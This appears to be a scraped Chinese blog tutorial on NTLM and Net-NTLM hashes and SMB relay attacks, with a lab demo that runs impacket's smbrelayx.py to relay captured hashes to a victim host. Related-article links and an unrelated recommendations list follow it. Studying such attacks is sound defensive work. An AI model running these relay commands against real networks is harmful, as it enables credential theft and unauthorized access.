一.NTLM hash 和 Net-NTLM hash

1.客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash

2.服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1,将challenge发送给客户端

3.客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器

4.服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

PS:在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash

二.SMB中继流程

1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password 加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
 
三.攻击演示
 
PS:
1.受害者不能开启 smb 签名
2.打了ms08-068[KB957097]补丁
 
攻击机:192.168.127.134
 
受害机:192.168.127.128
 
第三方:192.168.127.131
 
第三方机器上执行如下命令,向攻击者传送smb流量:net use \\192.168.127.134\c$ "qwewsx123." /user:"Administrator"
 
 
安装impacket套件

apt-get --reinstall install python-pyasn1 python-pyasn1-modules

git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害机IP

 
攻击机上可以看到,当有人net use连接攻击机上时,攻击者就回捕捉到了smb 的登录凭证hash,然后拿着这个hash到受害机尝试登录进行重放攻击
 
 
参考链接:
https://www.freebuf.com/articles/system/176206.html
https://klionsec.github.io/2016/07/20/smb-replay-attack/
https://zhuanlan.zhihu.com/p/64889695
https://www.jianshu.com/u/3067117bd792

smb中继攻击的更多相关文章

  1. Chapter 1 Securing Your Server and Network(10):使用扩展保护避免授权中继攻击

    原文:Chapter 1 Securing Your Server and Network(10):使用扩展保护避免授权中继攻击 原文出处:http://blog.csdn.net/dba_huang ...

  2. MySQL Out-of-Band 攻击

    概述 当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式.但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究.我们可以利用诸如loa ...

  3. SMB relay

    SMB relay 0x00 SMB服务 先来了解一下什么是 SMB 服务,SMB(Server Message Block)是一个协议名称,用它可以共享计算机之间的文件.打印机.串口等,通过 SMB ...

  4. 无需扫描即可查找和攻击域SQL Server (SPN)

    无扫描SQL Server发现简介 当您没有凭据或正在寻找不在域中的SQL Server时,使用各种扫描技术来查找SQL Server可能非常有用.但是,此过程可能很嘈杂,耗时,并且可能由于子网未知, ...

  5. Impacket官方使用指南

      什么是Impacket Impacket是用于处理网络协议的Python类的集合.Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC).数据 ...

  6. 结合NTLM中继和Kerberos委派攻击AD

    0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...

  7. 使用ntlmrelayx在任何地方进行中继凭据

    0x00 前言 通过Fox-IT我们可以让客户了解其企业组织中出现的常见安全风险.当攻击者可以利用NT LAN Manager身份验证协议(以下简称:NTLM身份验证)时,凭据重用就有这样的风险,即这 ...

  8. 滥用基于资源约束委派来攻击Active Directory

    0x00 前言 早在2018年3月前,我就开始了一场毫无意义的争论,以证明TrustedToAuthForDelegation属性是无意义的,并且可以在没有该属性的情况下实现“协议转换”.我相信,只要 ...

  9. SMB重放攻击

    0x01 原理 正常情况下:client端 --------- server端 1.正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之 ...

随机推荐

  1. 【二】Jmeter接口自动化测试系列之函数使用及扩展

    上一篇文章我们了解了Jmeter的参数化的集中方法,虽然方法不是很多,但已经足够使用! 本篇文章,介绍一下Jmeter自带函数的使用和 函数扩展,来满足测试工作中的各种需求! Jmeter自带函数 点 ...

  2. CR0 - CR4 ,5个寄存器,留念,每次都要翻手册,太费事了

  3. Spring与Struts2 的整合使用

    Spring与Struts2 的整合使用 项目结构 再Struts2 中(还没有与Spring整合时),它创建Action类的依据 <action name="second" ...

  4. easyui 弹出框调用外部js函数 提示“Microsoft JScript 运行时错误: 缺少对象”

    昨天遇见一个很诡异的问题 我用easyui做了一个网站,其中有一个a页面和一个b页面,我通过easyui的window功能,在a页面中弹出了一个b页面,在b页面中,我用到了一个外部js的函数c,我在b ...

  5. 文本聚合函数(wm_concat, listagg, group_concat, string_agg)

    实现目标   1.聚合文本   2.聚合文本(去重)   3.聚合文本(去重),按照指定字段排序   4.聚合文本(去重),按照指定字段排序,替换默认逗号分隔符 MySQL: group_concat ...

  6. 网址URL知识

    URL由三部分组成:资源类型.存放资源的主机域名.资源文件名. URL的一般语法格式为: (带方括号[]的为可选项): protocol :// hostname[:port] / path / [; ...

  7. leetcood学习笔记-54-螺旋矩阵

    题目描述: 第一次提交: class Solution: def spiralOrder(self, matrix: List[List[int]]) -> List[int]: j,x = 0 ...

  8. PHP获取远程客户端真实IP的办法!

    (1).REMOTE_ADDR:浏览当前页面的用户计算机的ip地址 (2).HTTP_X_FORWARDED_FOR: 浏览当前页面的用户计算机的网关 (3).HTTP_CLIENT_IP:客户端的i ...

  9. Kotlin Hello World

    { https://github.com/zhmmmm/Kotlin }

  10. spring boot 项目启动无法访问,排查

    查看docker日志,后台应用正常启动,定时任务正常执行,但是前端无法访问到后端接口,点击提示系统错误,解压出项目二级域名,访问域名,报错:Kong Error,说明Kong路由转发没有绑定项目端口, ...